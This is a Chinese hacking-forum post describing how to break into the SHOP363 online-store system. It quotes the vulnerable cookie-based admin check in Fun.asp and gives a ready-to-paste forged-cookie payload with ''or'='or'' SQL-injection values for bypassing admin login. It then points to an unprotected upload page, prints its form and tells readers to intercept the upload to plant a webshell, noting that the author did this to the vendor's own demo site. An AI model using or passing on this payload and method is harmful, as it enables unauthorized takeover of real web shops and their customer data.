社区应用最新帖子精华区社区服务会员列表统计排行银行
主题 : [转]SHOP363网店系统通杀漏洞(含拿WEBSHELL方法)
zhaoz在线
级别: 荣誉嘉宾
UID: 691
精华: 1
发帖: 39
安全币: 1850 枚
威望: 65 点
贡献值: 67 点
红科币: 294 枚
好评度: 65 点
在线时间: 1275(时)
注册时间: 2010-01-22
最后登录: 2010-09-07
楼主 发表于: 2010-07-24 22:13  

[转]SHOP363网店系统通杀漏洞(含拿WEBSHELL方法)

管理提醒: 本帖被 amxking 执行提前操作(2010-07-26)
发表:红科网安
作者:不详。

呵呵,标题写的有点夸张,我看的是官方演示的最新版本3.3.6版本,看过代码我相信早期的版本应该写法是基本相同的,因为没找到早期版本的下载所以没有测试,大家有的可以自行测试早期版本。
在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就百度了下找到了官方演示,通过一个老漏洞拿(不是网店程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方
昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊
后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码[pre]Sub checklogin() '检测是否登陆后台
复制代码
  1. dim AdminName,AdminPassword,AdminFlags
  2. Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
  3. Session(CacheName &"AdminPassword") = Request.Cookies
  4. (SitWebCookies)("AdminPassword")
  5. session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
  6. ("AdminFlags")
  7. session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
  8. ("Truename")
  9. Session(CacheName &"AdminoldFlags") = Request.Cookies
  10. (SitWebCookies)("AdminoldFlags")
  11. Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
  12. ("TFlags")
  13. AdminName=Session(CacheName &"AdminName")
  14. AdminPassword=Session(CacheName &"AdminPassword")
  15. AdminFlags=Session(CacheName &"AdminFlags")
  16. IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
  17. 'IF AdminName="" Then
  18. response.redirect("index.asp")
  19. response.End()
  20. End If
  21. End Sub

下面这个是在另一个演示站看到的改进代码[pre]Sub checklogin() '检测是否登陆后台
复制代码
  1. dim AdminName,AdminPassword,AdminFlags
  2. Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
  3. Session(CacheName &"AdminPassword") = Request.Cookies
  4. (SitWebCookies)("AdminPassword")
  5. session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
  6. ("AdminFlags")
  7. session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
  8. ("Truename")
  9. Session(CacheName &"AdminoldFlags") = Request.Cookies
  10. (SitWebCookies)("AdminoldFlags")
  11. Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
  12. ("TFlags")
  13. AdminName=Session(CacheName &"AdminName")
  14. AdminPassword=Session(CacheName &"AdminPassword")
  15. AdminFlags=Session(CacheName &"AdminFlags")
  16. Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and
  17. Password='"&AdminPassword&"'"
  18. set rsck=server.CreateObject("Adodb.Recordset")
  19. rsck.open Strsqlck,conn,1,1
  20. If rsck.eof Then
  21. response.redirect("index.asp")
  22. response.End()
  23. End If
  24. rsck.close
  25. Set rsck=nothing
  26. 'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
  27. 'IF AdminName="" Then
  28. ' response.redirect("index.asp")
  29. ' response.End()
  30. 'End If
  31. End Sub

基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:
复制代码
  1. Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';

这样可以进后台了,管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值但是我NC提交不成功还希望大牛们指教。
管理目录除了这两个没找到利用的地方就翻其他目录,运气好在网站根目录下的csv目录里发现了上传文件upfile1.asp代码如下:
复制代码
  1. <!--#include file="../admin_shop363/conn.asp"--> <!--#include file="chkuser.asp"-->
  2. <html>
  3. <head>
  4. <title>上传</title>
  5. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  6. <style type="text/css">
  7. <!--
  8. body,td,th {
  9. font-size: 12px;
  10. }
  11. body {
  12. margin-left: 0px;
  13. margin-top: 0px;
  14. margin-right: 0px;
  15. margin-bottom: 0px;
  16. }
  17. -->
  18. </style>
  19. </head>
  20. <body bgcolor="#FFFFFF" text="#000000">
  21. <form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >
  22. <input type="hidden" name="act" value="upload">
  23. <input type="hidden" name="upcount" value="1">
  24. <input type="hidden" name="filepath" value="csv/">
  25. <input type="file" name="file1" value="">
  26. <input type="submit" name="Submit" value="上传" class="bt">
  27. </form>
  28. </body>
  29. </html>
这回相信大家都是非常熟悉了,抓包上传吧。
网站默认后台目录:Admin_Shop363

描述
快速回复

如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
验证问题:
我们的组织是? 正确答案:红科网安
按"Ctrl+Enter"直接提交
上一个下一个